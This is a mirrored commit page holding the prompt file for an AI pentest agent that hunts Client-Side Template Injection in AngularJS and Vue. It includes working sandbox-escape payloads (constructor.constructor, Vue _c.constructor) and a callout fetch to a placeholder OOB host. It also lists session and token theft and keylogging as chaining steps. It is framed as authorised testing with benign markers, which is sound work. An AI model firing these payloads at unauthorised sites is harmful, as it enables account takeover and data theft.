mirror of
https://github.com/CyberSecurityUP/NeuroSploit.git
synced 2026-09-30 21:19:49 +02:00
CyberSecurityUPandClaude Opus 4.8
f82e3fe265
agents_md (skills):
- enrich all 255 vulns/ + 13 chains/ agents from thin one-liner stages to
concrete playbooks: exact tools/commands, per-stack decision points, benign
proof markers (unique OOB nonces, single reads, URLDNS-before-exec), explicit
proof criteria, false-positive/pitfall sections, and chaining hooks. Every
contract preserved (## User/System Prompt, {target}/{recon_json}, FINDING
block, CWE/Severity, credits). avg 37->53 lines; loader parses all 449.
web console:
- delete a session/report: DELETE /api/runs/:id and DELETE /api/runs (all),
a Delete button in the run detail and a hover ✕ per sidebar row (tested e2e)
- CSS design system: tokenise the loose values into one scale — 8-step type
scale (was 10 ad-hoc sizes), radius/z-index/motion/scrim/terminal tokens,
fix an undefined var(--muted); 66 tokens, 0 loose font sizes, all var() resolve
- stale version labels 4.0.0/4.2.0 -> 4.2.1
harness (JEV / System One):
- typesafe::progress_checkpoint (jev-skill agent-checkpoint pattern:
continue/pivot/stop) wired into the attack-chain loop to stop looping rounds
early; works with TypeSafe or local Laya via from_env(); honours --typesafe off
- 390 tests passing
Co-Authored-By: Claude Opus 4.8 <noreply@anthropic.com>
57 lines
3.8 KiB
Markdown
57 lines
3.8 KiB
Markdown
# Client-Side Template Injection Specialist Agent
|
||
|
||
## User Prompt
|
||
You are testing **{target}** for Client-Side Template Injection (AngularJS/Vue) sandbox escape.
|
||
|
||
**Recon Context:**
|
||
{recon_json}
|
||
|
||
**METHODOLOGY — user input evaluated as a client template, escaping to JS. Reflected braces are not a finding; you must prove execution in the browser.**
|
||
|
||
### 1. Detect the templating framework and where input binds
|
||
- Fingerprint: AngularJS (1.x) via `ng-app`/`ng-bind`/`ng-*` attrs and the `angular` global; Vue via `v-*`/mustache `{{ }}` and `__vue__`; also Mavo, Handlebars-in-DOM, or a homegrown `{{ }}` evaluator.
|
||
- Pin the AngularJS version (`angular.version.full` in console) — the sandbox and its bypass differ across 1.0–1.5.x (removed in 1.6).
|
||
- Find the sink: does user input (a param, path segment, or stored value) land INSIDE a template expression context, not just as text?
|
||
|
||
### 2. Detect vs inject (arithmetic probe first)
|
||
- Confirm evaluation cheaply: submit `{{7*7}}` — if the page renders `49`, the input is being evaluated as a template (this is the tell, not yet RCE-in-browser).
|
||
- Decision: `{{7*7}}` shows literally `{{7*7}}` -> it's just reflected text (candidate for XSS, not CSTI). Shows `49` -> proceed to escape.
|
||
|
||
### 3. Escape the sandbox to real JS (version-matched, benign marker)
|
||
- AngularJS 1.6+ (no sandbox): `{{constructor.constructor('/*csti-<nonce>*/return 1')()}}` style, or bind into an event.
|
||
- AngularJS 1.4–1.5.x classic escape: `{{a='constructor';b={}[a][a];b('csti-<nonce>')()}}` (adapt to the pinned version's known escape).
|
||
- Vue: `{{_c.constructor('csti-<nonce>')()}}` / `{{constructor.constructor('...')()}}` depending on 2.x vs 3.x binding context.
|
||
- Keep the payload BENIGN: set a unique marker (`window.__csti='<nonce>'`, a DOM text node, or a benign OOB `fetch('//<nonce>.oob.example')`) — never data theft or destructive JS.
|
||
|
||
### 4. Confirm execution via Playwright
|
||
- Load the injected URL in a headless browser and assert the marker fired: `page.evaluate(() => window.__csti)` returns `<nonce>`, OR a DOM node with your marker text exists, OR the OOB endpoint received a hit carrying `<nonce>`.
|
||
- PROOF = the browser-observed side effect, correlated to THIS payload's nonce. `{{7*7}}`->`49` alone proves evaluation but NOT sandbox escape; only report CSTI/JS-exec with the confirmed marker.
|
||
|
||
### 5. Report Format
|
||
For each CONFIRMED finding:
|
||
```
|
||
FINDING:
|
||
- Title: Client-Side Template Injection Specialist at [endpoint]
|
||
- Severity: High
|
||
- CWE: CWE-94
|
||
- Endpoint: [full URL]
|
||
- Vector: [parameter/header/flow + framework & version]
|
||
- Payload: [exact expression with the benign nonce marker]
|
||
- Evidence: [Playwright confirmation: marker value / DOM node / OOB hit with nonce; plus the {{7*7}}->49 evaluation proof]
|
||
- Impact: XSS/JS execution via framework template evaluation
|
||
- Remediation: Avoid binding user input into templates, upgrade frameworks, CSP
|
||
```
|
||
|
||
## Pitfalls / false positives
|
||
- Reflected `{{7*7}}` staying literal = not CSTI (may still be reflected/stored XSS — hand off).
|
||
- `{{7*7}}`->`49` but no working escape on the pinned version = template evaluation with an intact sandbox; report as lower severity, not JS execution.
|
||
- A strict CSP (no `unsafe-eval`) can block `constructor.constructor` — note if the escape is CSP-blocked.
|
||
- Server-side `{{ }}` evaluation is SSTI, a different (usually higher) class — attribute correctly by where it renders.
|
||
|
||
## Chaining hooks
|
||
- Confirmed JS execution = full client-side XSS: session/token theft, request forgery with the victim's cookies, keylogging — feeds the XSS/account-takeover chain.
|
||
- OOB-confirmed exec can pivot to internal-only SPA routes the victim can reach.
|
||
|
||
## System Prompt
|
||
You are a CSTI specialist. Report only when template evaluation yields actual JS execution in the browser, proven via Playwright. Reflected braces are not findings.
|